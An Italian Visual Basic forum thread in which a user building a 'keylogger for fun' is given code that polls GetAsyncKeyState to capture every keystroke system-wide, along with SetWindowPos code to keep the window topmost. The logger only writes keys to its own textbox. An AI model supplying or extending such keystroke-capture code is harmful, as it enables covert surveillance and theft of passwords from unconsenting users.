Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 13
  1. #1

    Form sempre in focus

    Salve to creando un piccolo keylogger per passatempo
    questo è il codice

    Private Sub Form_KeyPress(KeyAscii As Integer)
    Text1.Text = Text1.Text & Chr$(KeyAscii)
    End Sub

    Private Sub Form_Load()
    Show
    End Sub

    Private Sub Timer1_Timer()
    Form1.ZOrder
    End Sub


    quindi quando uno preme un tasto sul form,esso viene scritto nel textbox
    con il timer il form si mette in focus in automatico ogni 100 ms

    il problema è che il form può benissimo perdere lo stato di focus per esempio con il programma "Mostra desktop" di win
    come faccio a farlo rimanere sempre in focus?

  2. #2
    Utente di HTML.it L'avatar di macse
    Registrato dal
    Dec 2002
    Messaggi
    138
    non ho capito cosa vuoi fare.
    Vuoi che il form rimanga sempre in primo piano?
    spiegaci un po' cosa vuoi fare con sto programma.

  3. #3
    Originariamente inviato da macse
    non ho capito cosa vuoi fare.
    Vuoi che il form rimanga sempre in primo piano?
    spiegaci un po' cosa vuoi fare con sto programma.
    praticamente per far si che i tasti vengano loggati il form deve stare sempre attivo in primo piano
    come faccio?

  4. #4
    Utente di HTML.it L'avatar di macse
    Registrato dal
    Dec 2002
    Messaggi
    138
    Ho riletto meglio il tuo post.
    Se vuoi fare un programma che catturi tutte le pressioni dei tasti ti conviene farlo tramite le API e così non importa se il tuo form è in primo piano, invisibile, o ridotto a icona.
    Fammi sapere

  5. #5
    Originariamente inviato da macse
    Ho riletto meglio il tuo post.
    Se vuoi fare un programma che catturi tutte le pressioni dei tasti ti conviene farlo tramite le API e così non importa se il tuo form è in primo piano, invisibile, o ridotto a icona.
    Fammi sapere
    tramite le api non lo so fare proprio...
    cmq intanto puoi togliermi questo dubbio sul form sempre in primo piano?

  6. #6
    Utente di HTML.it L'avatar di macse
    Registrato dal
    Dec 2002
    Messaggi
    138
    codice:
    Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Integer
    questa è l'API che recupera le pressioni dei tasti della tastiera
    tramite un Timer poi continui a controllare lo stato della tastiera.

    codice:
    Private Sub Timer1_Timer()
    For cnt = 0 To 256
        If GetAsyncKeyState(cnt) <> 0 Then
            Text1.Text = Text1.Text & Chr(cnt)
        End If
    Next cnt
    End Sub
    NB: il risultato che ottieni però è che il programmino registra il tasto che hai premuto e non quello che c'è associato implica che vedi le lettere maiuscole ma puoi vedere se riesci a filtrare i tasti di Maiuscolo di blocco del maiuscolo e in base allo storico sai se è stato scritta una lettera minuscola o maiuscola.

    Prova così

    macse

  7. #7
    Utente di HTML.it L'avatar di macse
    Registrato dal
    Dec 2002
    Messaggi
    138
    Anche per il Primo piano usi le api ma non serve al tuo scopo. comunque si fa così:

    codice:
    'in testa al form
    Const HWND_TOPMOST = -1
    Const HWND_NOTOPMOST = -2
    Const SWP_NOSIZE = &H1
    Const SWP_NOMOVE = &H2
    Const SWP_NOACTIVATE = &H10
    Const SWP_SHOWWINDOW = &H40
    Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
    
    'nel Load del form
    private Sub Form_Load()
        SetWindowPos Me.hWnd, HWND_TOPMOST , 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    end sub
    NB: se lasci la X, Y , cx, cy a 0 il form rimane dove lo volevi tu con il codice o con la proprietà StartUpPosition

  8. #8
    Grazie domani lo provo
    per il focus invece non sai dirmi niente?
    ciao

  9. #9
    Utente di HTML.it L'avatar di macse
    Registrato dal
    Dec 2002
    Messaggi
    138
    Due post in alto per utilizzare la API di Window per la cattura della tastiera. Altri modi non esistono anche perchè il mostradesktop rende a icona tutto.

  10. #10
    Originariamente inviato da macse
    Due post in alto per utilizzare la API di Window per la cattura della tastiera. Altri modi non esistono anche perchè il mostradesktop rende a icona tutto.
    no,io avevo scaricato un gioco stupido che eludeva pure il mostra desktop !

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.